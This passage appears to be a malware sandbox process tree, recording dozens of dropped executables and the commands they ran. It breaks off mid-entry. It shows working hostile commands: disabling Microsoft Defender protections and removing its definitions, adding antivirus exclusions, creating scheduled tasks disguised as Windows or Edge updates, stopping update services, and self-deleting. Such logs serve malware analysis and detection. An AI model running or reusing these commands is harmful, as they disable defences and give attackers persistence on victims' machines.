- - C:\Users\Admin\AppData\Local\Temp\a\updates.exe
    "C:\Users\Admin\AppData\Local\Temp\a\updates.exe"
    3⤵
    PID:5016
  - - C:\Users\Admin\AppData\Local\Temp\go-memexec-3627927147.exe
      C:\Users\Admin\AppData\Local\Temp\go-memexec-3627927147.exe
      4⤵
      PID:2876
- - C:\Users\Admin\AppData\Local\Temp\a\test.exe
    "C:\Users\Admin\AppData\Local\Temp\a\test.exe"
    3⤵
    PID:2784
  - - C:\Windows\SYSTEM32\schtasks.exe
      "schtasks" /create /tn "Windows Defender" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\a\test.exe" /rl HIGHEST /f
      4⤵
      Creates scheduled task(s)
      PID:4400
- - C:\Users\Admin\AppData\Local\Temp\a\timeSync.exe
    "C:\Users\Admin\AppData\Local\Temp\a\timeSync.exe"
    3⤵
    PID:4564
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4564 -s 448
      4⤵
      Program crash
      PID:3676
- - C:\Users\Admin\AppData\Local\Temp\a\syncUpd.exe
    "C:\Users\Admin\AppData\Local\Temp\a\syncUpd.exe"
    3⤵
    PID:2092
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2092 -s 448
      4⤵
      Program crash
      PID:3332
- - C:\Users\Admin\AppData\Local\Temp\a\asusns.exe
    "C:\Users\Admin\AppData\Local\Temp\a\asusns.exe"
    3⤵
    PID:3616
  - - C:\Users\Admin\AppData\Local\Temp\a\asusns.exe
      "C:\Users\Admin\AppData\Local\Temp\a\asusns.exe"
      4⤵
      PID:4144
- - C:\Users\Admin\AppData\Local\Temp\a\sihost.exe
    "C:\Users\Admin\AppData\Local\Temp\a\sihost.exe"
    3⤵
    PID:312
  - - C:\Users\Admin\AppData\Local\Temp\a\sihost.exe
      "C:\Users\Admin\AppData\Local\Temp\a\sihost.exe"
      4⤵
      PID:5228
  - - C:\Users\Admin\AppData\Local\Temp\a\sihost.exe
      "C:\Users\Admin\AppData\Local\Temp\a\sihost.exe"
      4⤵
      PID:5308
  - - C:\Users\Admin\AppData\Local\Temp\a\sihost.exe
      "C:\Users\Admin\AppData\Local\Temp\a\sihost.exe"
      4⤵
      PID:5324
- - C:\Users\Admin\AppData\Local\Temp\a\toolspub2.exe
    "C:\Users\Admin\AppData\Local\Temp\a\toolspub2.exe"
    3⤵
    PID:3544
  - - C:\Users\Admin\AppData\Local\Temp\a\toolspub2.exe
      "C:\Users\Admin\AppData\Local\Temp\a\toolspub2.exe"
      4⤵
      PID:2340
- - C:\Users\Admin\AppData\Local\Temp\a\devenvhost.exe
    "C:\Users\Admin\AppData\Local\Temp\a\devenvhost.exe"
    3⤵
    PID:4092
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\windriverPerfDll\4ddwiPU.vbe"
      4⤵
      PID:3732
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\windriverPerfDll\nhfguPjSEr5LbJ7IT8hOZ.bat" "
        5⤵
        
        PID:1580
      - C:\windriverPerfDll\reviewdhcp.exe
        
        "C:\windriverPerfDll\reviewdhcp.exe"
        6⤵
        
        PID:3384
- - C:\Users\Admin\AppData\Local\Temp\a\winrar.exe
    "C:\Users\Admin\AppData\Local\Temp\a\winrar.exe"
    3⤵
    PID:4548
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\a\winrar.exe'
      4⤵
      PID:1992
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'winrar.exe'
      4⤵
      PID:912
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\WinRar.exe'
      4⤵
      PID:4064
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'WinRar.exe'
      4⤵
      PID:968
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "WinRar" /tr "C:\ProgramData\WinRar.exe"
      4⤵
      Creates scheduled task(s)
      PID:2188
- - C:\Users\Admin\AppData\Local\Temp\a\vsc.exe
    "C:\Users\Admin\AppData\Local\Temp\a\vsc.exe"
    3⤵
    PID:2244
  - - C:\Users\Admin\AppData\Local\Temp\a\vsc.exe
      "C:\Users\Admin\AppData\Local\Temp\a\vsc.exe"
      4⤵
      PID:1956
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        5⤵
        
        PID:5004
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
        6⤵
        
        PID:5684
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\a\vsc.exe'"
        5⤵
        
        PID:3664
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\a\vsc.exe'
        6⤵
        
        PID:5692
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        5⤵
        
        PID:5148
      - C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        6⤵
        Enumerates processes with tasklist
        
        PID:5528
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        5⤵
        
        PID:5240
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        6⤵
        
        PID:5648
- - C:\Users\Admin\AppData\Local\Temp\a\decord.exe
    "C:\Users\Admin\AppData\Local\Temp\a\decord.exe"
    3⤵
    PID:4572
  - - C:\Users\Admin\AppData\Local\Temp\288c47bbc1871b439df19ff4df68f076.exe
      "C:\Users\Admin\AppData\Local\Temp\288c47bbc1871b439df19ff4df68f076.exe"
      4⤵
      PID:5220
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        
        PID:13204
  - - C:\Users\Admin\AppData\Local\Temp\InstallSetup8.exe
      "C:\Users\Admin\AppData\Local\Temp\InstallSetup8.exe"
      4⤵
      PID:5408
    - - C:\Users\Admin\AppData\Local\Temp\Broom.exe
        
        C:\Users\Admin\AppData\Local\Temp\Broom.exe
        5⤵
        
        PID:5496
- - C:\Users\Admin\AppData\Local\Temp\a\fortune.exe
    "C:\Users\Admin\AppData\Local\Temp\a\fortune.exe"
    3⤵
    PID:5596
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      4⤵
      PID:5320
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      4⤵
      PID:8
- - C:\Users\Admin\AppData\Local\Temp\a\Jqjfw.exe
    "C:\Users\Admin\AppData\Local\Temp\a\Jqjfw.exe"
    3⤵
    PID:5752
  - - C:\Users\Admin\AppData\Local\Temp\a\Jqjfw.exe
      C:\Users\Admin\AppData\Local\Temp\a\Jqjfw.exe
      4⤵
      PID:5920
    - - C:\Users\Admin\AppData\Local\Temp\037ceed7fc\Utsysc.exe
        
        "C:\Users\Admin\AppData\Local\Temp\037ceed7fc\Utsysc.exe"
        5⤵
        
        PID:5400
      - C:\Users\Admin\AppData\Local\Temp\037ceed7fc\Utsysc.exe
        
        C:\Users\Admin\AppData\Local\Temp\037ceed7fc\Utsysc.exe
        6⤵
        
        PID:5488
        
        C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN Utsysc.exe /TR "C:\Users\Admin\AppData\Local\Temp\037ceed7fc\Utsysc.exe" /F
        7⤵
        Creates scheduled task(s)
        
        PID:5716
- - C:\Users\Admin\AppData\Local\Temp\a\sservc.exe
    "C:\Users\Admin\AppData\Local\Temp\a\sservc.exe"
    3⤵
    PID:5964
  - - C:\Users\Admin\AppData\Local\Temp\a\sservc.exe
      "C:\Users\Admin\AppData\Local\Temp\a\sservc.exe"
      4⤵
      PID:1924
- - C:\Users\Admin\AppData\Local\Temp\a\build.exe
    "C:\Users\Admin\AppData\Local\Temp\a\build.exe"
    3⤵
    PID:3444
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\AppData\Local\Temp\a\build.exe" & del "C:\ProgramData\*.dll"" & exit
      4⤵
      PID:3552
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 5
        5⤵
        Delays execution with timeout.exe
        
        PID:7160
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3444 -s 2432
      4⤵
      Program crash
      PID:6280
- - C:\Users\Admin\AppData\Local\Temp\a\b.exe
    "C:\Users\Admin\AppData\Local\Temp\a\b.exe"
    3⤵
    PID:3940
  - - C:\Users\Admin\AppData\Local\Temp\a\b.exe
      "C:\Users\Admin\AppData\Local\Temp\a\b.exe"
      4⤵
      PID:5676
- - C:\Users\Admin\AppData\Local\Temp\a\plugmanzx.exe
    "C:\Users\Admin\AppData\Local\Temp\a\plugmanzx.exe"
    3⤵
    PID:1616
  - - C:\Users\Admin\AppData\Local\Temp\a\plugmanzx.exe
      "C:\Users\Admin\AppData\Local\Temp\a\plugmanzx.exe"
      4⤵
      PID:1016
  - - C:\Users\Admin\AppData\Local\Temp\a\plugmanzx.exe
      "C:\Users\Admin\AppData\Local\Temp\a\plugmanzx.exe"
      4⤵
      PID:5840
    - - C:\Windows\SysWOW64\schtasks.exe
        
        "schtasks.exe" /create /f /tn "AGP Subsystem" /xml "C:\Users\Admin\AppData\Local\Temp\tmpF43E.tmp"
        5⤵
        Creates scheduled task(s)
        
        PID:2624
    - - C:\Windows\SysWOW64\schtasks.exe
        
        "schtasks.exe" /create /f /tn "AGP Subsystem Task" /xml "C:\Users\Admin\AppData\Local\Temp\tmpFA89.tmp"
        5⤵
        Creates scheduled task(s)
        
        PID:5696
  - - C:\Users\Admin\AppData\Local\Temp\a\plugmanzx.exe
      "C:\Users\Admin\AppData\Local\Temp\a\plugmanzx.exe"
      4⤵
      PID:5836
- - C:\Users\Admin\AppData\Local\Temp\a\Opesi.exe
    "C:\Users\Admin\AppData\Local\Temp\a\Opesi.exe"
    3⤵
    PID:5800
  - - C:\Users\Admin\AppData\Local\Temp\a\Opesi.exe
      C:\Users\Admin\AppData\Local\Temp\a\Opesi.exe
      4⤵
      PID:5356
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\AppData\Local\Temp\a\Opesi.exe" & del "C:\ProgramData\*.dll"" & exit
        5⤵
        
        PID:5684
      - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 5
        6⤵
        Delays execution with timeout.exe
        
        PID:1456
- - C:\Users\Admin\AppData\Local\Temp\a\PLmp.exe
    "C:\Users\Admin\AppData\Local\Temp\a\PLmp.exe"
    3⤵
    PID:4204
  - - C:\Users\Admin\Pictures\Minor Policy\tk1TPIZcjXPdFzy0SOGLiiVc.exe
      "C:\Users\Admin\Pictures\Minor Policy\tk1TPIZcjXPdFzy0SOGLiiVc.exe"
      4⤵
      PID:6132
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6132 -s 816
        5⤵
        Program crash
        
        PID:5804
- - C:\Users\Admin\AppData\Local\Temp\a\Kolodi.exe
    "C:\Users\Admin\AppData\Local\Temp\a\Kolodi.exe"
    3⤵
    PID:5196
- - C:\Users\Admin\AppData\Local\Temp\a\Wlssejinnvz.exe
    "C:\Users\Admin\AppData\Local\Temp\a\Wlssejinnvz.exe"
    3⤵
    PID:6060
  - - C:\Users\Admin\AppData\Local\Temp\a\Wlssejinnvz.exe
      C:\Users\Admin\AppData\Local\Temp\a\Wlssejinnvz.exe
      4⤵
      PID:3188
- - C:\Users\Admin\AppData\Local\Temp\a\tuc5.exe
    "C:\Users\Admin\AppData\Local\Temp\a\tuc5.exe"
    3⤵
    PID:5588
  - - C:\Users\Admin\AppData\Local\Temp\is-GH0DH.tmp\tuc5.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-GH0DH.tmp\tuc5.tmp" /SL5="$1301BA,4558956,54272,C:\Users\Admin\AppData\Local\Temp\a\tuc5.exe"
      4⤵
      PID:5760
    - - C:\Program Files (x86)\Common Files\BusinessTV\BusinessTV.exe
        
        "C:\Program Files (x86)\Common Files\BusinessTV\BusinessTV.exe" -i
        5⤵
        
        PID:5780
    - - C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\system32\schtasks.exe" /Query
        5⤵
        
        PID:6064
    - - C:\Program Files (x86)\Common Files\BusinessTV\BusinessTV.exe
        
        "C:\Program Files (x86)\Common Files\BusinessTV\BusinessTV.exe" -s
        5⤵
        
        PID:5132
    - - C:\Windows\SysWOW64\net.exe
        
        "C:\Windows\system32\net.exe" helpmsg 25
        5⤵
        
        PID:5348
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 helpmsg 25
        6⤵
        
        PID:1788
- - C:\Users\Admin\AppData\Local\Temp\a\PhXExiF.exe
    "C:\Users\Admin\AppData\Local\Temp\a\PhXExiF.exe"
    3⤵
    PID:1688
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
      4⤵
      PID:4240
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
      4⤵
      PID:3648
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
      4⤵
      PID:1464
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
        5⤵
        
        PID:11824
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
        5⤵
        
        PID:8828
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
        5⤵
        
        PID:2428
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
        5⤵
        
        PID:3748
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
      4⤵
      PID:8080
- - C:\Users\Admin\AppData\Local\Temp\a\ama.exe
    "C:\Users\Admin\AppData\Local\Temp\a\ama.exe"
    3⤵
    PID:5992
  - - C:\Users\Admin\AppData\Local\Temp\b64c58644b\Utsysc.exe
      "C:\Users\Admin\AppData\Local\Temp\b64c58644b\Utsysc.exe"
      4⤵
      PID:3848
    - - C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN Utsysc.exe /TR "C:\Users\Admin\AppData\Local\Temp\b64c58644b\Utsysc.exe" /F
        5⤵
        Creates scheduled task(s)
        
        PID:2528
- - C:\Users\Admin\AppData\Local\Temp\a\brandumma.exe
    "C:\Users\Admin\AppData\Local\Temp\a\brandumma.exe"
    3⤵
    PID:3640
  - - C:\Users\Admin\AppData\Local\Temp\InstallSetup5.exe
      "C:\Users\Admin\AppData\Local\Temp\InstallSetup5.exe"
      4⤵
      PID:4940
    - - C:\Users\Admin\AppData\Local\Temp\Broom.exe
        
        C:\Users\Admin\AppData\Local\Temp\Broom.exe
        5⤵
        
        PID:3960
  - - C:\Users\Admin\AppData\Local\Temp\toolspub2.exe
      "C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"
      4⤵
      PID:5836
    - - C:\Users\Admin\AppData\Local\Temp\toolspub2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"
        5⤵
        
        PID:6436
  - - C:\Users\Admin\AppData\Local\Temp\e0cbefcb1af40c7d4aff4aca26621a98.exe
      "C:\Users\Admin\AppData\Local\Temp\e0cbefcb1af40c7d4aff4aca26621a98.exe"
      4⤵
      PID:1916
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        
        PID:9488
  - - C:\Users\Admin\AppData\Local\Temp\latestX.exe
      "C:\Users\Admin\AppData\Local\Temp\latestX.exe"
      4⤵
      PID:5228
- - C:\Users\Admin\AppData\Local\Temp\a\amarer.exe
    "C:\Users\Admin\AppData\Local\Temp\a\amarer.exe"
    3⤵
    PID:1624
  - - C:\Users\Admin\AppData\Local\Temp\a\amarer.exe
      C:\Users\Admin\AppData\Local\Temp\a\amarer.exe
      4⤵
      PID:1348
- - C:\Users\Admin\AppData\Local\Temp\a\allnewumm.exe
    "C:\Users\Admin\AppData\Local\Temp\a\allnewumm.exe"
    3⤵
    PID:5884
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5884 -s 812
      4⤵
      Program crash
      PID:740
- - C:\Users\Admin\AppData\Local\Temp\a\cp.exe
    "C:\Users\Admin\AppData\Local\Temp\a\cp.exe"
    3⤵
    PID:2560
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\s1z4.0.bat" "
      4⤵
      PID:7060
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout 3
        5⤵
        Delays execution with timeout.exe
        
        PID:6676
    - - C:\ProgramData\pinterests\XRJNZC.exe
        
        "C:\ProgramData\pinterests\XRJNZC.exe"
        5⤵
        
        PID:8880
      - C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 1 /RL HIGHEST /tn "XRJNZC" /tr C:\ProgramData\pinterests\XRJNZC.exe /f
        6⤵
        Creates scheduled task(s)
        
        PID:12020
- - C:\Users\Admin\AppData\Local\Temp\a\hv.exe
    "C:\Users\Admin\AppData\Local\Temp\a\hv.exe"
    3⤵
    PID:6000
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      4⤵
      PID:6780
- - C:\Users\Admin\AppData\Local\Temp\a\Muqpgf.exe
    "C:\Users\Admin\AppData\Local\Temp\a\Muqpgf.exe"
    3⤵
    PID:6016
  - - C:\Users\Admin\AppData\Local\Temp\a\Muqpgf.exe
      C:\Users\Admin\AppData\Local\Temp\a\Muqpgf.exe
      4⤵
      PID:6256
- - C:\Users\Admin\AppData\Local\Temp\a\Hpscavymo.exe
    "C:\Users\Admin\AppData\Local\Temp\a\Hpscavymo.exe"
    3⤵
    PID:2452
- - C:\Users\Admin\AppData\Local\Temp\a\1699835572-explorer.exe
    "C:\Users\Admin\AppData\Local\Temp\a\1699835572-explorer.exe"
    3⤵
    PID:6456
- - C:\Users\Admin\AppData\Local\Temp\a\windows_amd64.exe
    "C:\Users\Admin\AppData\Local\Temp\a\windows_amd64.exe"
    3⤵
    PID:6808
  - - C:\Windows\system32\cmd.exe
      cmd ver
      4⤵
      PID:6188
- - C:\Users\Admin\AppData\Local\Temp\a\test20.exe
    "C:\Users\Admin\AppData\Local\Temp\a\test20.exe"
    3⤵
    PID:7116
- - C:\Users\Admin\AppData\Local\Temp\a\photo_dnkafan3.exe
    "C:\Users\Admin\AppData\Local\Temp\a\photo_dnkafan3.exe"
    3⤵
    PID:6664
- - C:\Users\Admin\AppData\Local\Temp\a\brandmar.exe
    "C:\Users\Admin\AppData\Local\Temp\a\brandmar.exe"
    3⤵
    PID:6836
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 6836 -s 812
      4⤵
      Program crash
      PID:6604
- - C:\Users\Admin\AppData\Local\Temp\a\conhost.exe
    "C:\Users\Admin\AppData\Local\Temp\a\conhost.exe"
    3⤵
    PID:6280
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\main\main.bat" /S"
      4⤵
      PID:6876
    - - C:\Windows\system32\mode.com
        
        mode 65,10
        5⤵
        
        PID:6080
    - - C:\Users\Admin\AppData\Local\Temp\main\7z.exe
        
        7z.exe e file.zip -p199921163012031144012778512725 -oextracted
        5⤵
        
        PID:7380
    - - C:\Users\Admin\AppData\Local\Temp\main\7z.exe
        
        7z.exe e extracted/file_5.zip -oextracted
        5⤵
        
        PID:11304
- - C:\Users\Admin\AppData\Local\Temp\a\svchost.exe
    "C:\Users\Admin\AppData\Local\Temp\a\svchost.exe"
    3⤵
    PID:1992
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpB145.tmp.bat""
      4⤵
      PID:7912
    - - C:\Windows\system32\timeout.exe
        
        timeout 3
        5⤵
        Delays execution with timeout.exe
        
        PID:11116
    - - C:\ProgramData\AdobeReader\GeforceUpdater.exe
        
        "C:\ProgramData\AdobeReader\GeforceUpdater.exe"
        5⤵
        
        PID:10208
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "MicrosoftEdgeUpdateTaskMachineCoreCor" /tr "C:\ProgramData\AdobeReader\GeforceUpdater.exe"
        6⤵
        
        PID:7976
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "MicrosoftEdgeUpdateTaskMachineCoreCor" /tr "C:\ProgramData\AdobeReader\GeforceUpdater.exe"
        7⤵
        Creates scheduled task(s)
        
        PID:12276
- - C:\Users\Admin\AppData\Local\Temp\a\brandrock.exe
    "C:\Users\Admin\AppData\Local\Temp\a\brandrock.exe"
    3⤵
    PID:7000
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 7000 -s 812
      4⤵
      Program crash
      PID:7468
- - C:\Users\Admin\AppData\Local\Temp\a\Chjirossjr.exe
    "C:\Users\Admin\AppData\Local\Temp\a\Chjirossjr.exe"
    3⤵
    PID:6192
  - - C:\Users\Admin\AppData\Local\Temp\a\Chjirossjr.exe
      C:\Users\Admin\AppData\Local\Temp\a\Chjirossjr.exe
      4⤵
      PID:9144
    - - C:\Users\Admin\AppData\Local\Temp\ce3eb8f6b2\Utsysc.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ce3eb8f6b2\Utsysc.exe"
        5⤵
        
        PID:7216
      - C:\Users\Admin\AppData\Local\Temp\ce3eb8f6b2\Utsysc.exe
        
        C:\Users\Admin\AppData\Local\Temp\ce3eb8f6b2\Utsysc.exe
        6⤵
        
        PID:8484
      - C:\Users\Admin\AppData\Local\Temp\ce3eb8f6b2\Utsysc.exe
        
        C:\Users\Admin\AppData\Local\Temp\ce3eb8f6b2\Utsysc.exe
        6⤵
        
        PID:540
- - C:\Users\Admin\AppData\Local\Temp\a\Morning.exe
    "C:\Users\Admin\AppData\Local\Temp\a\Morning.exe"
    3⤵
    PID:8032
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
      4⤵
      PID:6388
- - C:\Users\Admin\AppData\Local\Temp\a\audiodgse.exe
    "C:\Users\Admin\AppData\Local\Temp\a\audiodgse.exe"
    3⤵
    PID:7388
  - - C:\Users\Admin\AppData\Local\Temp\a\audiodgse.exe
      "C:\Users\Admin\AppData\Local\Temp\a\audiodgse.exe"
      4⤵
      PID:384
- - C:\Users\Admin\AppData\Local\Temp\a\i.exe
    "C:\Users\Admin\AppData\Local\Temp\a\i.exe"
    3⤵
    PID:4156
- - C:\Users\Admin\AppData\Local\Temp\a\secondumma.exe
    "C:\Users\Admin\AppData\Local\Temp\a\secondumma.exe"
    3⤵
    PID:12256
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      PID:12524
- - C:\Users\Admin\AppData\Local\Temp\a\wininit.exe
    "C:\Users\Admin\AppData\Local\Temp\a\wininit.exe"
    3⤵
    PID:12380
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\CBdqwn.exe"
      4⤵
      PID:920
  - - C:\Windows\SysWOW64\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\CBdqwn" /XML "C:\Users\Admin\AppData\Local\Temp\tmpE49A.tmp"
      4⤵
      Creates scheduled task(s)
      PID:2116
  - - C:\Users\Admin\AppData\Local\Temp\a\wininit.exe
      "C:\Users\Admin\AppData\Local\Temp\a\wininit.exe"
      4⤵
      PID:2264
  - - C:\Users\Admin\AppData\Local\Temp\a\wininit.exe
      "C:\Users\Admin\AppData\Local\Temp\a\wininit.exe"
      4⤵
      PID:12572
- - C:\Users\Admin\AppData\Local\Temp\a\latestmar.exe
    "C:\Users\Admin\AppData\Local\Temp\a\latestmar.exe"
    3⤵
    PID:12496
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 12496 -s 816
      4⤵
      Program crash
      PID:9344
- - C:\Users\Admin\AppData\Local\Temp\a\newmar.exe
    "C:\Users\Admin\AppData\Local\Temp\a\newmar.exe"
    3⤵
    PID:8916
  - - C:\Windows\SysWOW64\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN newmar.exe /TR "C:\Users\Admin\AppData\Local\Temp\a\newmar.exe" /F
      4⤵
      Creates scheduled task(s)
      PID:9588
- - C:\Users\Admin\AppData\Local\Temp\a\gate3.exe
    "C:\Users\Admin\AppData\Local\Temp\a\gate3.exe"
    3⤵
    PID:5432
- - C:\Users\Admin\AppData\Local\Temp\a\tuc3.exe
    "C:\Users\Admin\AppData\Local\Temp\a\tuc3.exe"
    3⤵
    PID:10624
  - - C:\Users\Admin\AppData\Local\Temp\is-OAOO9.tmp\tuc3.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-OAOO9.tmp\tuc3.tmp" /SL5="$203E4,4531739,54272,C:\Users\Admin\AppData\Local\Temp\a\tuc3.exe"
      4⤵
      PID:12472
- - C:\Users\Admin\AppData\Local\Temp\a\const.exe
    "C:\Users\Admin\AppData\Local\Temp\a\const.exe"
    3⤵
    PID:6884
- - C:\Users\Admin\AppData\Local\Temp\a\Aasd2wdsdas.exe
    "C:\Users\Admin\AppData\Local\Temp\a\Aasd2wdsdas.exe"
    3⤵
    PID:2952
- C:\Windows\SysWOW64\cmstp.exe
  "C:\Windows\SysWOW64\cmstp.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1772
- - C:\Windows\SysWOW64\cmd.exe
    /c del "C:\Users\Admin\AppData\Local\Temp\pujipqto.exe"
    3⤵
    PID:3520
- - C:\Windows\SysWOW64\where.exe
    "C:\Windows\SysWOW64\where.exe"
    3⤵
    PID:5660
  - - C:\Program Files\Mozilla Firefox\Firefox.exe
      "C:\Program Files\Mozilla Firefox\Firefox.exe"
      4⤵
      PID:3832
- - C:\Windows\SysWOW64\where.exe
    "C:\Windows\SysWOW64\where.exe"
    3⤵
    PID:5548
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  PID:2112
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
  2⤵
  PID:5416
- - C:\Windows\System32\sc.exe
